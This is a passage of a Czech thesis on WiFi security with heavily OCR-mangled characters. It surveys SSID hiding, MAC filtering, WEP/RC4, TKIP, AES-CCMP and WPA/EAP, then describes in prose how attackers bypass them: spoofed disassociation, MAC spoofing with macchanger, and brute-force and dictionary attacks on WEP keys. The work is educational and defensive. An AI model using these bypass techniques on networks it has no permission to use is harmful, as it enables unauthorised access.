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Abstrakt

Bezdratové sit¢ WiFi zaznamenaly v poslednich letech obrovskou oblibu a ziskaly pomérné
velky podil pti pripojovani pocitact k Internetu. Oblibu si ziskaly nejen v prostiedi firem
a Skol, ale také v domacnostech. VétSina operatorit dnes nabizi modemy, které maji
integrované rozhrani WiFi, tudiz i toto nahrava vétsimu rozsiteni této technologie do prostiedi
domacnosti. V dnesni dob¢ je téméi kazda domdacnost vybavena vice pocitaci (pripadné
pocitacem a notebooky) a to je dalsi divod, pro¢ se WiFi tak dobie datfi. WiFi dnes najdeme
V kazdém novém notebooku (je to samoziejmost), nékteré moderni mobilni telefony rovnéz
podporuji tuto technologii. Na WiFi totiz dnes narazime takika na kazdém kroku.
V kavarnach, na letistich, v hotelech...... zkratka vSude. Navzdory vysoké oblibé, kterou WiFi
sit¢ ziskaly, je ale nutné byt ve stfehu a zajistit vy$$i miru bezpecnosti nez u klasického
metalického pfipojeni. Prace se zabyva bezpeCnosti bezdratovych siti WiFi, vénuje
se specifickym problémtim jednotlivych zabezpeceni a obsahuje také ukazky technik obejiti
jednotlivych zabezpec€eni. Jsou otestovany nastroje na zjisténi skrytého SSID, zménu MAC
adresy, obejiti Sifrovani pomoci protokolu WEP (zasilani faleSnych paketii do sité, modifikace
ramcu, fale$na autentizace a faleSné AP) a WPA/WPA 2 v rezimu PSK (zasilani falesnych
paketli a slovnikovy utok). Na zaklad¢ jednotlivych utokti je pak provedeno porovnani
protokolt WEP, WPA a WPA 2 z hlediska odolnosti vli¢i vSem popsanym utokim. Prace
poukazuje na to, zZe se nevyplaci podcenit zabezpeceni bezdratovych siti, fada lidi vibec
netesi n¢jaké zabezpeCeni a pokud né€jaké zabezpeceni nasadi, tak nebyva obvykle dostate¢né

silné a utocnici jej snadno obejdou béhem nékolika minut.
Kli¢ova slova

WiFi, SSID, AP, WEP, WPA, WPA 2, Man in the Middle

Abstract

WiFi network registered in recent years enormous popularity and they got huge proportion
of connecting computers to the Internet. They got popularity not only in the business
enviroment and schools but also at households. Most operators now offer modems that have
integrated WiFi interface, this means bigger expansion of this technology into households.
Nowadays almost every household has several computers (or computer and laptops) and this

is another reason why the WiFi prosper. WiFi can be found today in every new notebook
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(it's obvious), some modern mobile phones also support this technology. Today we can find
the WiFi everywhere. In cafe, at airports, in hotels.....in short, everywhere. Despite
the high popularity, the WiFi network gain, it is necessary to be vigilit and provide greater
security than traditional metallic connection. The work deals with the security of WiFi
network, deals with specific issues of security and also provides examples of techniques
to circumvent security. | tested tools to detect hidden SSID, to change MAC address,
to circumvent encryption protocol WEP (sending fake packets to the network, modifying
frames, false and fake AP authentization and WPA/WPA 2 in PSK mode (sending fake
packets and a dictionary attack). On the basis of the attacks is carry out in terms of resistance
of protocols (WEP, WPA and WPA 2) to all attacks described. The work shows that does not
pay to underestimate the security of WiFi network, many people do not solve any security
and while they select the security which si usually not strong and which the attackers can

easily bypass in minutes.
Keywords

WiFi, SSID, AP, WEP, WPA, WPA 2, Man in the Middle
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Uvod

WiFi sité¢ ziskavaji v posledni dob¢ ¢im dal vétsi oblibu. Neni se ¢emu divit. Je daleko
pohodInéjsi ptipojit se na internet bez nutnosti pfipojovat jednotlivé kabely. Navic v kazdém
novém notebooku i netbooku dnes najdeme zafizeni pro piijem WiFi signalu. Podporu WiFi

maji také nékteré moderni mobilni telefony.

V ramci ochrany soukromi je vSak nutné si WiF1i sit’ fadné zabezpecit. Je potieba si uvédomit,
co vlastné chceme chranit a vybrat co nejlepsi a nejefektivnéjsi zptisob zabranéni nékomu
cizimu, aby mohl prohlizet nase soukromé véci. V souvislosti s WiFi zabezpecenim jsem
nalezl velmi zajimavy ¢lanek, ve kterém se obvinény piipojil k WiFi siti svého souseda.

Hécek je v tom, Ze sit’ byla nezabezpecena.

Gregory Straszkiewicz byl britskym soudem odsouzen k 12 mésicim podminéné a pokuté
500 liber za to, ze neopravnéné pouzival internetové piipojeni svého souseda. OvSem pan
Straszkiewicz neni hacker! Pan Straszkiewicz pouze chtél surfovat po netu, zapnul sviij laptop

a ten se piipojil k nijak nezabezpecené Wi-Fi siti ,,postizeného". [9]

Je na Case polozit si otazku: Je pfipojeni se k nezabezpeCené WiFi siti svého souseda
nelegalni? Na véc je potfeba nahlédnout 2 pohledy. Pohledem obzalovaného a pohledem
zalujiciho. Obzalovany si mél zjistit potfebné véci (napf. ze je nelegdlni se ptipojovat
k doty¢nému na jeho sit, Zalujici si mél svoji sit’ 1épe zabezpecit, aby tim znemoznil

obzalovanému ptipojit se k jeho WiF1 siti.

Prace se zabyva bezpecnostni politikou bezdratovych siti WiFi. Je rozdélena na teoretickou
a praktickou ¢ast. V teoretické Casti jsou nejprve predstaveny bezpe¢nostni mechanismy WiFi
siti (viz Kapitola 1) a ndsledné jsou rozebrany jednotlivé utoky na jednotliva zabezpeceni (viz
Kapitola 2). Nejvétsi pozornost je vénovana utokiim na protokoly WEP a WPA/WPA 2.
V praktické ¢asti jsou realizovany jednotlivé utoky (viz Kapitola 3) a nasledné jsou jednotlivé

bezpe¢nostni mechanismy porovnany z hlediska odolnosti (viz Kapitola 4).

Cilem prace je popsat jednotlivé utoky, provést jejich realizaci a na zdkladé naméfenych
vysledkli navrhnout doporuceni, které znemozni nezddoucim osobam vyuZivat bezdratové sité

WiFi.

10
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1 Prehled bezpec¢nostnich mechanismi WiFi

V této kapitole se budeme zabyvat bezpeCnostnimi mechanismy bezdratovych siti WiFi.
Zminény budou zdkladni a snadno prolomitelné ochrany, kterymi jsou skryti vysilani SSID
a filtrace MAC adres. Mnohem vétsi ¢ast je ale vénovana bezpe€nostnim protokolim WEP
a WPA/WPA 2. Je rozebrano, jak probiha Sifrovani v téchto protokolech. V kratkosti jsou
predstaveny nejznaméj$i varianty protokolu EAP (se kterym se cCasto setkdme spisSe

V podnikové sféte).
1.1 Omezeni vysilaciho vykonu

Jednim z nejzékladnéjSich a nejjednodussich (ale zaroven velmi efektivnich) bezpecnostnich
mechanismi WiFi siti je omezeni vysilaciho vykonu. Smyslem této ochrany je zamezit Gniku
signalu WiFi sit¢ do nezddoucich mist. S timto mechanismem souvisi smérovani antén.
Abychom zamezili Gniku signalu, tak je vhodné pouzit misto vSesmérovych antén smérové
antény. Vzhledem k tomu, ze se vétSina AP dodava praveé s vSesmeérovymi anténami, tak se
nabizi jiné feSeni (snizeni vyzafované¢ho vykonu). Ve firemnim prostiedi je potieba najit
vhodny kompromis (signal v budové musi byt dostatecné silny, aby se k siti mohli piipojit
veskefi klienti, ale zarovenn musi byt dostateéné slaby, aby se K siti nemohl ptipojit n€kdo

z venku).

Je potieba vzit na védomi, ze se signal WiFi sité¢ mize §ifit mimo danou oblast a Ze se k siti
muze pripojit nékdo zvenci. Proto je dilezité zminit dalsi ochrany (vétSina je vhodnéjSich

pro doméci pouziti, pro firemni nasazeni nejsou pfili§ vhodné).
1.2 Vypnuti vysilani SSID
Uplny nazev: Service Set Identifier

SSID je jednozna¢ny identifikator kazdé bezdratové sité. Parametr SSID se sklada z fetézce

ASCII znakd, jehoZ maximalni délka je 32 znakd.

Kazdé AP (Access Point- piistupovy bod) ohlasuje svoji ptitomnost pomoci tzv. beacont (coz
jsou administrativni ramce). Beacony vysila ptiblizné¢ kazdych 100 ms. Ve zpravé jsou
uvedeny informace o AP (nazev sit¢ SSID, sila signialu a podporované rychlosti).
Pro zobrazeni dostupnych bezdratovych siti mame ve Windows specidlni funkci. Seznam siti

se negeneruje ndhodné, ale podle pfijatych signalizacnich ramct.

11
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Smyslem této ochrany je znemoznit nezddoucim osobam zjistit pfitomnost nasi sité. Existuje
urcita ,,obrana®“, které¢ se fika uzaviena sit. Smyslem této ochrany je, Zze se ndm v zavislosti
na bezdratovém softwaru sit’ zobrazuje jako nepojmenovana sit’ nebo se nezobrazuje vibec.
AP ale nadéle vysila administrativni signalizaci. Timto zplGsobem lze trochu ztizit praci
uto¢nikiim-amatérim, profesionalni uto¢nik tuto ,,ochranu‘ nepovazuje za poradnou ochranu.
Existuje totiz software, ktery si dokaze s timto bezpecnostnim mechanismem pomérné snadno

poradit.

Vypnuti vysilani SSID neni soucasti standardu 802.11. U nékterych starSich ptistupovych
bodil to tedy nebylo s touto ochranou az tak jednoduché. Dnes tento problém neexistuje.
Je vSak potfeba vyvarovat se 1 problému, kterym je odstranéni SSID z administrativnich

zprav. Timto zptisobem piipravime klienta o0 moznost roamingu mezi jednotlivymi AP.

Je tedy na Case polozit si otazku, zda-li se ndm vypnuti SSID vysilani vyplati. Kdyz se zeptate
né¢jakého experta na bezpecnost, tak vam odpovi, Ze vypnuti SSID nelze brat jako dobry
zpusob ochrany va$i bezdratové sité. Je nutné pouzit lepSi bezpecnostni mechanismy,

o kterych bude fe¢ za chvili.
1.3 MAC adresy a jejich filtrace

Uplny nazev: Media Access Control

MAC adresa je jedine¢ny identifikator sitového zatizeni a ptifazuje se sitové karté pii jeji
vyrob¢. V literatufe se miizeme setkat téz s oznacenim fyzickd adresa. U modernich karet neni

zadny problém MAC adresu dodatecné zmenit.
1.3.1 Filtrace MAC adres

Smyslem tohoto bezpecnostniho mechanismu je povolit pfistup do sité t€ém uzivatelim, kteti
maji platnou MAC adresu. Seznam autorizovanych adres je uloZen v konfigura¢nim nastaveni
AP. Bohuzel ale v dneSni dob¢ tato ochrana postrada smysl, nebot’ neni problém pomoci
specidlnich ovladaci zménit MAC adresu. Na zménu MAC adresy existuje 1 specidlni
software. Zakladnim nedostatkem je, ze se cilova a zdrojova MAC adresa posila nesifrované,
coz nahrdva uto¢nikim, pro které neni problém odposlechnout hodnoty povolenych
MAC adres. Zména MAC adresy je trivialni zalezitosti. Poté se uto¢nik pfipoji snadno k siti.
AP si mysli, Ze je vSe v pofadku, protoze se ptipojilo zafizeni s platnou MAC adresou. V siti

se nyni nachézi vice zatizeni se stejnou MAC adresou, coz miize zpusobit urcité komplikace.

12
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Diky tomu pak nemusi probihat komunikace mezi zafizenimi, tak jak bychom si to

predstavovali.

Tuto ochranu bych doporucoval nasadit v domacnostech nebo drobnych podnicich, kde se
vyskytuje mens$i pocet klientd. Ve vétSich firmach (pfipadné i Skolach) je tato ochrana
zbyteCna. Predstavme si, ze bychom méli udrzovat v evidenci veskeré MAC adresy karet,
které se ve firmach pofizuji nebo vyrazuji. Seznam téchto adres by mél byt aktualizovany
na vSech AP. Nemélo by to zadny smysl, v dnesni dobé se da zabezpecit sit mnohem

efektivnéji. Navic by to bylo i pomérné pracné.
1.4 WEP
Uplny nazev: Wired Equivalent Privacy

Protokol WEP maji zabudovany vSechny sité¢ 802.11. WEP pouziva symetricky postup
Sifrovani. To znamend, Ze stejny algoritmus 1 stejny klic se pouziva jak k Sifrovani, tak
k desifrovani. Uzivatelsky kli¢ (ktery je ureny pro autentizaci) je staticky a je stejny
pro vSechny uzivatele dané sité. Jeho délka je 40 bitti. Klienti jej pouzivaji spolecné se svou
MAC adresou pro autentizaci vi¢i AP. Autentizace je jednostranna, piistupovy bod
se neautentizuje. Sifrovani dat, které prenasime, se provadi pomoci 64bitového klide. Ten
se sklada z uzivatelského klice a inicializatniho vektoru. Inicializacni vektor se dynamicky
méni a ma délku 24 bitd. Sifrovani se ale miZe provadét i pomoci 128bitového klice, coz
byva mnohem lepsi varianta, nez kdybychom pouzili Sifrovani pomoci 64bitového klice.

V tomto piipadé ma sdileny kli¢ délku 104 biti a inicializacni vektor 24 bitt.
1.41RC4

Tato Sifra pochazi od spole¢nosti RSA a setkdme se sni i v jinych kryptografickych
systémech (naptiklad SSL-zéklad HTTPS). Zakladnim pravidlem generatoru RC4 je zamezit
opakovanému pouziti téze hodnoty inicializaéniho vektoru. Kazdy paket, ktery odesilame
musi byt inicializovan jinou hodnotou. Hacek spociva v tom, Ze pii vySSich prenosovych
rychlostech se vycerpa cely prostor inicializa¢niho vektoru béhem nékolika hodin a musi tak
dojit k opakovanému pouziti hodnot inicializa¢niho vektoru. Opakovanym pouzitim stejnych
hodnot inicializa¢niho vektoru dojde ke kolizi inicializa¢niho vektoru, coZ opét nahrava

uto¢nikum.
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Proudova Sifra RC4 vyuziva 2 zékladnich algoritmt: Algoritmus KSA (Key-scheduling
algoritmus) a PRGA (pseudo-nahodné generovani). Oba zminéné algoritmy pouzivaji pole S,
které pouziva 256 ¢isel (byti). Dle obrazku 1.1 se pak postupuje nasledovné. Pole (S) je
naplnéno posloupnosti ¢isel (rozsah 0 az 255). Druhé pole (K) je naplnéno Sifrovacim kli¢em.
Toto pole ma délku 256 bytl. Podle nasledujiciho algoritmu je pole S zamichano. Algoritmus
KSA funguje obdobné jako algoritmus PRGA, ptidava ale navic bity z klice.

for i from 0 to 255
S[i] =i

endfor

j:=0

for i from 0 to 255
j =@ + S[i] + key[i mod keylength]) mod 256
swap values of S[i] and S[j]

endfor

Obrizek 1.1- Algoritmus KSA [27]

V kazdé iteraci generator k ptirdstku i pfidava hodnotu S, na kterou ukazuje i aj, vyméni
hodnoty S[i] a S [j], a pak vysledny prvek S s indexem (S [i] + S [j]) vydéli celo¢iselné 256.

Kazdy prvek S je vyménén s jinym prvkem alespon jednou za 256 iteraci. [27]

i:=0

j:=0

while GeneratingOutput:
i:=(i+1)mod 256
j:=(j + S[i]) mod 256
swap values of S[i] and S[j]
K := S[(S[i] + S[j]) mod 256]
output K

endwhile
Obrazek 1.2- Algoritmus PRGA [27]

1.4.2 Proces Sifrovani zpravy a proces deSifrovani zpravy

Rozeberme si nyni, jakym zpiisobem probihd proces Sifrovani zpravy u protokolu WEP.
Na zacatku tohoto procesu mame vzdy néjaky text, ktery je neSifrovany a ktery se snazime

néjakym zplsobem chranit. Z tohoto textu WEP spocitda CRC (cyklicky redundantni soucet),
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jehoz délka je 32 bitdi. Tento kontrolni soucet slouzi k ovéfeni integrity dat a vzdy se pfipojuje
za zpravu, kterou prenaSime. Poté vezmeme tajny kli¢, ktery pfipojime k inicializa¢nimu
vektoru. Kombinace inicializacniho vektoru a tajného klie je predana generatoru
pseudondhodnych ¢isel RC4. Na vystupu bude Sifrovaci kli¢ (sekvence nul a jednicek), ktery
je stejné dlouhy jako piivodni zprava + kontrolni soucet. Poté provedeme operaci XOR mezi
Sifrovacim klicem a textem, ktery je spojen s kontrolnim souctem, Vysledkem je Sifrovany

text, pred ktery pripojime hodnotu inicializacniho vektoru. Tento vysledek pak prenasime.

Pro zptehlednéni uvadim schéma, jak samotny proces Sifrovani u protokolu WEP funguje.

inicializacni vektar

[data j -+ [ku:untru:ulu:uni snu&etj

|

data

Sifrovaci ki

Eifrovana data , ‘

Obrazek 1.3- Schéma Sifrovani u protokolu WEP [1]
Nyni jesté zmifime, jakym zplisobem probiha opacny proces-desifrovani.

Na zacatku procesu mame inicializa¢ni vektor (soucast piijaté zpravy). K nému pfidame tajny
kli¢. Tuto kombinaci ptedame generatoru RC4, ktery znovu vytvoii sekvenci Sifrovaciho
klice. Mezi timto klicem a zaSifrovanou zpravou provedeme operaci XOR, ¢imz se nam
podafi ziskat pivodni hodnotu. Pro tuto hodnotu si pak spocitame kontrolni soucet.
Provedeme porovnani mezi timto souctem a souctem, ktery jsme piijali. Pokud se kontrolni

soucty lisi, tak budeme predpokladat, Ze je zprava poskozena (tim padem ji miZeme zahodit).
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1.5 WPA a WPA 2
Uplny nézev: WiFi Protected Access

Protokol WPA wvznikl jako rychld reakce na zdkladé¢ bezpecnostnich nedostatkii svého
ptedchidce (protokol WEP). Bezpecnostni trhliny v protokolu WEP znamenaly nevhodnost
nasazeni tohoto protokolu v produkénim prostiedi, proto pfisla pomérné rychld reakce
v podobé WPA. WPA je vlastné takovy mezikrok, protoze byl vydan néjaky Cas predtim
neZz byl dokoncen standard 802.11i. Kompletni implementaci 802.11 obsahuje pifimy
naslednik WPA 2. Samotny protokol WPA nelze nasadit v sitich ad-hoc, protoZe ty podporuji
pouze WEP.

V této cCasti si predstavime principy Sifrovani u obou protokoli a zminime rozdily
mezi pouzitim WPA v Osobnim reZimu a WPA v Enterprise rezimu. Kratce jsou rozebrany

autentizacni schémata a princip autentizace pomoci protokolu 802.1X.
1.5.1 TKIP

Nejdiive je zminéno, jakym zplisobem jsou feSeny nedostatky protokolu WEP, v dalsi ¢ésti je

pak rozebran zpusob Sifrovani pomoci mechanismu TKIP.

Tento mechanismus fesi nckteré zdkladni nedostatky protokolu WEP. Témito zdkladnimi
nedostatky jsou mySleny hlavné moZnost opakovaného pouziti inicializaéniho vektoru
(vedouci ke kolizi), moznost podvrzeni kontrolniho souctu (utok na integritu) a pouziti
slabych kli¢h (napadnutelnost Sifry RC4 ttokem FMS). Tyto zasadni nedostatky TKIP fesi.
Inicializacnimu vektoru je dan mnohem vétsi prostor (misto 24 bith ma 48 bit). Diky tomu
lze eliminovat kolize inicializaéniho vektoru a na nich zalozené utoky. O integritu se stara
jednocestnd hashovaci funkce Michael. Tato funkce neni linedrni, tim padem je slozité
modifikovat pfenaSeny paket. Funkce vyZaduje nasledujici vstupy: kli¢ MIC, zdrojovou
a cilovou adresu (diky nimz ovéfuje integritu MAC adres) a neSifrovany text. Délka vystupu

této funkce je 8 bytd, vystup se pak ptipojuje k datlim, kterd pfenaSime.

Co se tyce Sifrovani, pouZzita Sifrovaci metoda je stejnd jako u protokolu WEP (tedy RC4).
Délka Sifrovaciho klice je 128 bitl. Néktera vylepSeni jiz byla zminéna (napf. co se tyce
integrity), doplime jesté, ze byla vylepSena pravidla pro generovani inicializacnich vektori

a Ze se zvlast’ mixuje kli¢ pro kazdy paket.
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Samotny proces Sifrovani probiha nésledujicim zpisobem. Zacindme se 2 kli¢i- Sifrovacim
kli¢em (128 bitl) a kli¢em pro zajisténi integrity (64 bitt). Sifrovaci kli¢ se zna¢i jako TK
(Temporal Key) a kli¢ pro zajisténi integrity se znac¢i jako MIC (Message Integrity Code).
V prvni fazi se provadi XOR operace mezi TK a MAC adresou odesilatele. Timto zpiisobem
ziskame kli¢, ktery se nazyva Faze 1. Tento kli¢ se pak mixuje se sekvencnim ¢islem, diky
cemuz ziskame kli¢ Faze 2 (tento kli¢ pak slouzi pro pienos paketu). Kli¢ Faze 2 je pak
pfedan mechanismu WEP jako 128bitovy WEP kli¢ (kombinace inicializacniho vektoru

a tajného kli¢e). Postup dale probiha stejné jako v kapitole 1.4.2 .

TK (128-bit)
128bitovy
¢ "WEPovy kli¢"
i T
Faze 1 mixovani Kice |—|  Faze 2 mixovani kiice |—p| (apany jalo
T T a 104 bith
tajného klice)
MAC adresa odesilatele Sekvencni ¢islo
Counter
{Sequence Numbers) 4
zasifrovany
WEP —» st
Kli¢ MIC —>
MAC adresa odesilatele |——p
MIC ——3p>|Nesifrovany | npic
MAC adresa pfijemce  ——> B
Nesifrovana zprava —p

Obrazek 1.4- Postup Sifrovani u TKIP [3]
1.5.2 AES-CCMP
Ve stru¢nosti je zminéno, jak tato Sifra funguje a jaké jsou rozdily mezi ni a RC4.

Tato Sifra byla navrzena jako nahrada za $ifru RC4. Pouziva ¢itacovy rezim s protokolem
CBC-MAC (CCM). Citatovy rezim ma za tikol starat se o Sifrovani, CBC-MAC se stara
o integritu dat a autentizaci. Sifrovani i desifrovani kli¢e se provadi pomoci sdileného klie
jako u RC4. Rozdil spociva v tom, ze AES pracuje se 128bitovymi bloky, proto se v literature
setkame s terminem blokova Sifra. (RC4 je proudova Sifra). 48bitova hodnota inicializa¢niho

vektoru se oznacuje jako PN (Cislo paketu).
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128 bitd. Vystup je pokazdé nove generovan. Cely vstupni text je rozdélen na 128bitové
bloky. Mezi témito bloky a hodnotou na vystupu se provadi operace XOR tak dlouho, dokud
neni cela pivodni zprava zaSifrovana. Potom je ¢ita¢ vynulovan, XORuji se hodnota MIC

a nasledné se tato hodnota piida na konec ramce. Diky tomu je pak Sifra daleko siln¢jsi.

Jak jiz bylo uvedeno, tak CCMP obsahuje algoritmus MIC. Tento algoritmus zajistuje, aby
nemohlo dojit k modifikaci dat, kterd prenaSime. Algoritmus se pouziva i u TKIP. U CCMP
ale funguje jinak. Princip vypoétu MIC je zaloZen na inicializa¢nich hodnotach, které
vychazeji z inicializa¢nich vektort a z dalSich hlavickovych informaci. Pracuje v blocich,
které maji délku 128 bitl. Pocita se pres jednotlivé bloky az na konec originalni zpravy.

Potom se ur¢i koneéna hodnota.

Naroky na Sifrovani jsou ponékud vyssi. AES vyzaduje novéjsi hardware a neni kompatibilni

S 1.generaci bezdratovych zatizeni.
1.5.3 WPA pro pouziti v domacnostech

U WPA 1 WPA2 se vyuzivaji 2 autentiza¢ni metody. Jako prvni je stru¢n¢ zminéna metoda,
kterda je nejvhodné€jsi pro pouziti v domacnostech a drobnych podnicich, kde se nevyplati
investovat do Radius serveru. V literatufe se setkavame s ozna¢enim WPA v osobnim rezimu
nebo WPA-PSK (pre-shared key (piedsdilené heslo).

O samotnou autentizaci se nam stard ptistupovy bod. Klient se piihlasuje do sité pomoci
hesla, které¢ ma délku 8-63 znaktl. Z téchto znakl se pak pro kazdého klienta odvozuji rtizné

klice.

Jako prvni je odvozen kli¢ PMK (Pairwise Master Key), jehoz délka je 256 bitl. Samotné
odvozeni tohoto kli¢e je zavislé na tom, jakd je pouZzita autentizacni metoda. V naSem piipadée
plati: PMK=PSK. Pokud se pouzije 2.metoda (s autentizatnim serverem), tak se PMK
odvozuje z autentizace 802.1X MK. PMK se pouziva ke generovani PTK (Pairwise Transient
Key), ktery slouzi jako docasny kli¢ k Sifrovani dat. Délka tohoto kli¢e zavis na tom, jaky

Sifrovaci protokol pouzivame (u TKIP je délka PTK 512 bitt, u CCMP 384 bitt)
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Nézev klice Délka klice Pouziti
KCK 128 bith autentizace zpravy
k utajeni dat b&hem 4-cestného
KEK 128 bitl handshaku
TK 128 biti Sifrovani dat
TMK 2x 64 bitl autentizace dat

Tabulka 1.1-Odvozovani kli¢i béhem 4-cestného handshaku

1.5.4 WPA pro pouziti v podnicich-Enterprise rezim

S timto typem zabezpeceni se setkdme ve vétSich podnicich, ale také naptiklad ve Skolach.
K ovéteni uZzivatele se pouzivd protokol 802.1X a Radius server. UZivatel se prokazuje

zadanim uZzivatelského jména a hesla, nékdy se k ovéfeni pouzivaji i certifikaty.

Rozeberme, jakym zplisobem probiha autentizace pomoci protokolu 802.1X. Vse je trochu
sloZitéj$i, mame zde 3 zakladni komponenty, které mezi sebou komunikuji. Je zde Zadatel
(uzivatel, ktery zadad o vstup do sité), autentizator (switch nebo AP, ktery povoluje nebo
blokuje pfistup do sité) a autentizacni server (Radius server, ktery udrzuje autentizaCni

informace).

Samotny proces probiha nasledovné. Zadatel nejprve odesle ramec EAP Start, na néjz mu
autentizator odpovi ramcem EAP Request/Identity. Na tento ramec pak zadatel odpovi
totoznym ramcem, ve kterém se identifikuje pomoci uzivatelského jména. Tato informace je
odeslana autentizacnimu serveru, ktery odesle EAP-Request, ve kterém pozaduje, aby bylo
zadano heslo uzivatele. EAP-Request je zaslan autentizatorovi, ktery jej preposle zadateli.
Zadatel zada heslo, posle jej autentizatorovi a ten jej posle autentizaénimu serveru. Nasledng
se oveti spravnost zadanych informaci a autentizatorovi je zasldna odpovéd’. Pokud informace
souhlasi, tak je zaslan ramec EAP-Success (autentizator piepne port z neautorizovaného stavu
do autorizované¢ho a povoli komunikaci), pokud ne tak raimec EAP-Failure. VSimnéme si, ze
zadatel a autentizacni server spolu nepiimo komunikuji, o komunikaci se stara ,,prostiednik*

(autentizator).

U autentizace jsme se setkali s protokolem EAP. Pomoci tohoto protokolu miizeme uZzivatele
autentizovat libovolnym zpiisobem (pomoci hesla, certifikatli apod.). V této Casti si kratce

pfedstavime nejznaméjsi autentizatni metody. Ne&které metody jsou sice snadno
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implementovatelné, ale to je bohuzel vykompenzovano slabou bezpecnosti. Je proto nutné

zvazit, jakou metodu pouzijeme.
1.5.4.1 Varianty protokolu EAP

1.) LEAP- podporuje vzajemnou autentizaci a dynamické generovani WEPovych klicu.
Navrhla ho spole¢nost Cisco. Nedockal se velké popularity, Slo ho pouzivat pouze
na zafizenich od spole¢nosti Cisco (AP, klientské adaptéry a Radius server musely byt
od Cisca). Protokol je nachylny vuci slovnikovym utoktim. Joshua Wright v roce 2004
predstavil software ASLEAP, ktery dokdze tuto ochranu za pomoci slovnikového utoku
obejit. V dneSni dobé€ je toto zabezpefeni nevhodné, Cisco doporucuje piejit na PEAP,

EAP-FAST nebo EAP-TLS.

2.) EAP-TLS- podporuje stejné jako LEAP vzajemnou autentizaci a dynamické generovani
WEPovych klict. Z hlediska bezpecnosti je na tom nejlépe, ale potiz je v jeho nasazeni. Tento
protokol se snazi vytvofit Sifrovany tunel, pomoci né¢hoz pak budou probihat autentizacni
vymeény. Vymény jsou zaloZzeny na vyméné certifikdti mezi uzivatelem a serverem. Diky

témto komplikacim se tento protokol pouziva malo.

3.) EAP-TTLS- jedna s o rozsifeni protokolu TLS. Certifikat je vyzadovan pouze na strané
serveru, klienti se autentizuji pomoci hesel. Tato metoda je stejné bezpecna jako ptedchozi

metoda a jeji nasazeni je daleko snadnéjsi. Lze ji doporucit.

4.) PEAP- protokol je velmi podobny protokolu TTLS. Certifikat je opét vyzadovan pouze
na stran¢ serveru. K autentizaci klienta mizeme pouzit jinou metodu protokolu EAP.
Autentizace klientii probiha zabezpecenym kandlem, takze nezalezi na tom, jakou metodu

pouzijeme.
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2 Moznosti obejiti zabezpeceni

V této kapitole se budeme zabyvat zplsoby, pomoci kterych lze napadnout a obejit
bezpe¢nostni mechanismy WiFi siti, kterymi jsme se zabyvali v 1.kapitole. Jsou zminény
moznosti obejiti nejjednodussich ochran (skryti SSID a filtrace MAC adres). Vétsi cast
kapitoly je vénovana utoktim na protokoly WEP a WPA.

2.1 Zjisténi skrytého vysilani SSID

U této ochrany existuji pouze 2 zpusoby, jak ji obejit. Pokud skryjeme hodnotu SSID, tak ji
musime pred pfipojenim do sité¢ vzdy zadat ru¢né. PotiZ spociva v tom, Ze hodnota SSID je

prenasena vzdy neSifrované a tudiz neni problém ji odposlechnout.

Utocnici maji 2 moznosti, jak skryté SSID zjistit. Prvni varianta je trochu zdlouhava, protoze
cekaji do doby nez dojde k legitimni asociaci. Druha varianta je rychlejs$i a elegantnéjsi.
Utocnik odesle klientovi podvrzeny disasociaéni pozadavek, pomoci néjz piikaze klientovi se

odpojit od sité. Jakmile se klient pokusi o novou asociaci, tak uto¢nik zachyti hodnotu SSID.
2.2 Obejiti filtrace MAC adres

U této ochrany existuje pouze jediny zpisob obejiti. Je nutné odposlouchavat provoz v siti.
Béhem odposlechu se zachyti MAC adresa klienta, ktery je k siti pfipojen a pomoci
specialniho programu je pak zména MAC adresy hrackou. MAC adresu mizeme ale zménit
I Vnastaveni sitové karty. V prostfedi Windows lze MAC adresu zménit také zdsahem
do registrii. V Linuxu existuje pro zménu MAC adresy utilita macchanger. Tato utilita dokaze

generovat a piifazovat libovolnou MAC adresu.
2.3 Zranitelnost protokolu WEP

Tato Cast se zabyvd moznostmi, pomoci kterych lze tato bezpe€nostni technologie obejit.
Nyni si blize rozebereme tutoky na WEP. Utokii je pomérné hodng, zamé&iime se
na nejznaméjsi utoky a pokusime se porovnat jejich efektivitu. Zminény jsou Utoky, které jsou
naro¢né na vypocetni vykon (a tim padem i na ¢as) 1 Gtoky, pomoci nichZ lze prolomit WEP

béhem nékolika minut.
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2.3.1 Utok hrubou silou

V literatufe se muzeme setkat téz s oznacenim Brute-force attack. Metoda utoku spociva
V tom, ze jsou zkouseny vsechny mozné kombinace kli¢e do doby, nez je nalezen spravny
kli¢. Utok ma fadu omezeni. Pokud chceme dojit k n&jakému rozumnému vysledku v realném
Case, tak se musi pouzit kli¢ o délce 40 bitd. Je potfeba se vyvarovat také generatorum klice.
Bezpecnostni specialista Tim Newsham zjistil, Ze u nékterych vyrobct generator klice
nefunguje zrovna nejlépe a napi. prolomeni 40bitového klice, ktery vytvofil pravé takovy

generator, miize byt otazkou 1 minuty.
Pomoci utoku hrubou silou 1ze WEP kli¢ prolomit hned nékolika zplsoby:
1.) Pro Linux existuje aplikace jc-wepcrack.

2.) Moznost vyuziti hardwarové akcelerace- pouziti FPGA procesoru. V porovnani
S prvni variantou pfinasi velky rozdil v dobé€ nutné k prolomeni hesla. Jak uvadi zdroj
[5], tak v prvnim piipadé trvalo prolomeni hesla 42 dni (vSe samoziejmé zavisi

na konfiguraci pocitace). V piipad€ pouziti FPGA procesoru trvalo 25 dni.

3.) Vyuziti herni konzole Playstation 3- k prolomeni se vyuziva 6 vektorovych procesnich
jednotek (VPU). Oproti 2 predchozim moznostem je dle zdroje [5] vidét opét velky

rozdil v dob¢ prolomeni hesla. Pomoci PS3 staci k prolomeni 40bitového klice 8,8 dni.

Obrana vuci ttoku hrubou silou je celkem jednoducha. Jak jiz bylo zminéno vyse, tento utok
je mozné pouzit pouze v piipad¢, kdy ma WEPovy kli¢ délku 40 bith. Tedy pokud chceme
dojit k né¢jakému vysledku v redlném case. Pokud chceme uto¢nikovi praci ztizit, staci pouzit
kli¢ o délce 104 bith. Nicméné je nutné podotknout, Ze tento utok je v dnesni dobé neefektivni

a ze k prolomeni WEPového klice existuji i1 jiné (a hlavné rychlejsi) metody.
2.3.2 Slovnikovy utok

O slovnikovém utoku se da fici, Ze je modifikaci Gtoku hrubou silou. Diky pouziti slovniku je
omezen prostor prohledavanych klict. Slovnik obsahuje bézna slova a nckterd Spatna hesla
(naptiklad posloupnost ¢isel 12345 nebo qwerty). Obecné plati, ze slovnikové utoky byvaji
pomerné uspésné, nebot’ lidé Casto voli kratka hesla (o 7 znacich, nékdy 1 mén¢), jednoducha

hesla nebo rizné variace (kdy za jednoduché heslo ptidaji ¢islici (naptiklad abecedal)).
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Obrana vii¢i tomuto utoku je opét jednoducha. Abychom ztizili uto¢nikovi jeho snazeni
